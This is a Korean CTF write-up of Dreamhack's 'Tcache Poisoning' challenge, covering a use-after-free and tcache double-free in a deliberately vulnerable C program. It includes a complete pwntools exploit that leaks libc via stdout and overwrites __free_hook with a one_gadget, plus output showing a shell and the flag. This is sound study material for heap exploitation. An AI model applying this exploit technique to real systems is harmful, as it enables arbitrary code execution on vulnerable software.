dreamhack - Tcache Poisoning writeup
[dreamhack] Tcache Poisoning writeup
1. 문제

Tcache Poisoning
Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3582. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
- case 1: size를 입력받아서 할당하고, size-1 만큼 입력받아서 content에 쓴다.
- case 2: 청크를 free한다.
- case 3: 청크의 내용을 출력한다.
- case 4: 청크의 내용을 수정한다.
case 2에서 청크를 free
할때 초기화를 하지않고 있기 때문에 free
이후에도 청크의 내용을 수정할 수 있다.
tcache dup
문제와 비슷하게 풀 수 있기는한데, 대신에 그때와 달리 같은 libc-2.27.so
를 사용했더라도 세부버전이 다른지 바로 double free bug
를 활용할 수가 없다.
즉, malloc
한번, free
두번을 바로 하게되면 double free bug
를 detect하면서 프로그램이 종료되어버린다.
ubuntu@instance-20250406-1126:~/dreamhack/level3/tcache_poisoning$ ./tcache_poison
1. Allocate
2. Free
3. Print
4. Edit
1
Size: 30
Content: aaaa
1. Allocate
2. Free
3. Print
4. Edit
2
1. Allocate
2. Free
3. Print
4. Edit
2
free(): double free detected in tcache 2
Aborted (core dumped)
그래서 tcache_dup2
와 비슷하게 풀면된다. 대신 여기서는 get_shell
함수가 없기 때문에 뭔가를 통해서 libc leak을 해야한다. 우리에겐 case 3: print
가 있기 때문에 이를 통해 leak을 할 수 있다.

tcache_dup2 writeup
https://jjblog.duckdns.org/ctf%20writeup/2025/06/26/dreamhack-tcache_dup2.html
시나리오는 아래와 같다.
- 1. alloc 1번, free 1번
- tcache head -> chunk 0
- 2. 이미 free된 청크를 edit해서 key를 조작 (use after free), 이를 통해 double free bug 사용 가능
- 3. 다시 한번 free
- tcache head -> chunk 0 -> chunk 0
- 4. alloc하면서
stdout
의 주소를fd
에 입력- tcache head -> chunk 0 -> stdout -> libc_stdout
- 5. 2번 더 alloc. 이때 마지막 alloc때 content에는
stdout
의 lsb를 입력 (여기서는"\x60"
이었음)해서stdout
의 libc 주소가 변하지않도록 하기- tcache head -> libc_stdout
- 이러면 마지막으로 alloc한 청크의 content에 stdout의 libc 주소가 들어있다.
- 6. print를 해서 libc_stdout을 leak
- 7.
__free_hook
주소 계산 - 8. 앞서 수행한 방식 그대로 하되,
__free_hook
에 원하는 주소 (one_gadget)을 덮기- 이러면
free
가 실행될 때 훅이 먼저 실행되면서 쉘을 딸 수 있다.
- 이러면
- 9.
free
실행하기 -> 쉘 얻기
정리된 exploit은 아래와 같다.
from pwn import *
p = process("./tcache_poison")
#p = remote("host8.dreamhack.games", 14116)
elf = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")
# Phase 1. leak stdout libc addr
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", b"aaaa")
p.sendlineafter(b"Edit\n", b"2")
p.sendlineafter(b"Edit\n", b"4")
p.sendafter(b"Edit chunk: ", b"aaaaaaaa" + b"\x00") # edit key
p.sendlineafter(b"Edit\n", b"2") # then we can double free
input()
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", p64(elf.symbols["stdout"]))
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", b"bbbbbbbb")
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", b"\x60") # stdout always ends with \x60
p.sendlineafter(b"Edit\n", b"3")
p.recvuntil(b"Content: ")
stdout = u64(p.recv(6) + b"\x00" * 2)
libcbase = stdout - libc.symbols["_IO_2_1_stdout_"]
__free_hook = libcbase + libc.symbols['__free_hook']
og = 0x4f432
# Phase 2. overwrite __free_hook
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", b"aaaa")
p.sendlineafter(b"Edit\n", b"2")
p.sendlineafter(b"Edit\n", b"4")
p.sendafter(b"Edit chunk: ", b"aaaaaaaa" + b"\x00") # edit key
p.sendlineafter(b"Edit\n", b"2")
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", p64(__free_hook))
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", b"bbbbbbbb")
p.sendlineafter(b"Edit\n", b"1") # alloc __free_hook
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", p64(libcbase + og))
# Phase 3. free
p.sendlineafter(b"Edit\n", b"2")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/tcache_poisoning$ python3 e_tcache_poison.py
[+] Starting local process './tcache_poison': pid 3045320
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/tcache_poisoning/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/tcache_poisoning/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
$ cat flag
DH{**flag**}
tcache_dup2
문제를 봤는데도 여전히 복잡하다… 힙공부가 더 필요하다는 것을 느낀 문제.
그래도 첫 level3
문제를 풀기 시작했다!
해결~